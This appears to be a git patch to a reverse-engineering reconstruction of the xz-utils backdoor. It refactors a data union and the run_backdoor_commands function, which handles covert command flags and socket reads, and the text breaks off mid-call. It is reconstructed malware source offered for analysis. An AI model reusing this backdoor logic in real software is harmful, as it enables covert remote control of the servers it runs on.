From 089e78d2fac92cec713c876d766e115d6ec9eb0a Mon Sep 17 00:00:00 2001 From: Stefano Moioli Date: Wed, 1 May 2024 23:06:30 +0200 Subject: [PATCH] run_backdoor_commands: add timespec and fd_set union cases --- xzre.h | 13 +++++++++---- xzre_code/run_backdoor_commands.c | 10 ++++------ 2 files changed, 13 insertions(+), 10 deletions(-) diff --git a/xzre.h b/xzre.h index c85a485..3ecdea6 100644 --- a/xzre.h +++ b/xzre.h @@ -14,6 +14,7 @@ #include #include #include +#include #endif typedef uint8_t u8; @@ -1928,13 +1929,17 @@ assert_offset(monitor_data_t, payload_body_size, 0x28); assert_offset(monitor_data_t, rsa, 0x30); /** - * @brief payload union within @ref run_backdoor_commands + * @brief union used within @ref run_backdoor_commands * */ -typedef union __attribute__((packed)) payload { +typedef union __attribute__((packed)) backdoor_runtime_data { +#ifndef XZRE_SLIM + struct timespec timespec; + fd_set fd_set; +#endif monitor_data_t monitor; u8 data[608]; -} payload_t; +} backdoor_runtime_data_t; /** * @brief stack frame layout for @ref run_backdoor_commands @@ -1967,7 +1972,7 @@ typedef struct __attribute__((packed)) run_backdoor_commands_data { } keys; } u; PADDING(7); - payload_t payload; + backdoor_runtime_data_t payload; key_ctx_t kctx; } run_backdoor_commands_data_t; diff --git a/xzre_code/run_backdoor_commands.c b/xzre_code/run_backdoor_commands.c index 6560dec..e287ef8 100644 --- a/xzre_code/run_backdoor_commands.c +++ b/xzre_code/run_backdoor_commands.c @@ -358,13 +358,11 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){ if((f.kctx.args.flags2 & CMDF_PSELECT) == CMDF_PSELECT){ if(!ctx->libc_imports->exit) break; if(!ctx->libc_imports->pselect) break; - *((struct timespec *)&f.payload) = (struct timespec){ - .tv_sec = 5 - }; + f.payload.timespec.tv_sec = 5; ctx->libc_imports->pselect( 0, NULL, NULL, NULL, - (const struct timespec *)&f.payload, + &f.payload.timespec, NULL ); ctx->libc_imports->exit(0); @@ -474,7 +472,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){ }; if((res = ctx->libc_imports->pselect( f.u.sock.socket_fd + 1, - (fd_set *)&f.payload, + &f.payload.fd_set, NULL, NULL, (const struct timespec *)&f.u.sock.fd_recv_buf[8], NULL @@ -484,7 +482,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){ } } if(!res) break; - if(!FD_ISSET(f.u.sock.socket_fd, (fd_set *)&f.payload.data[8])) break; + if(!FD_ISSET(f.u.sock.socket_fd, &f.payload.fd_set)) break; if(fd_read( f.u.sock.socket_fd,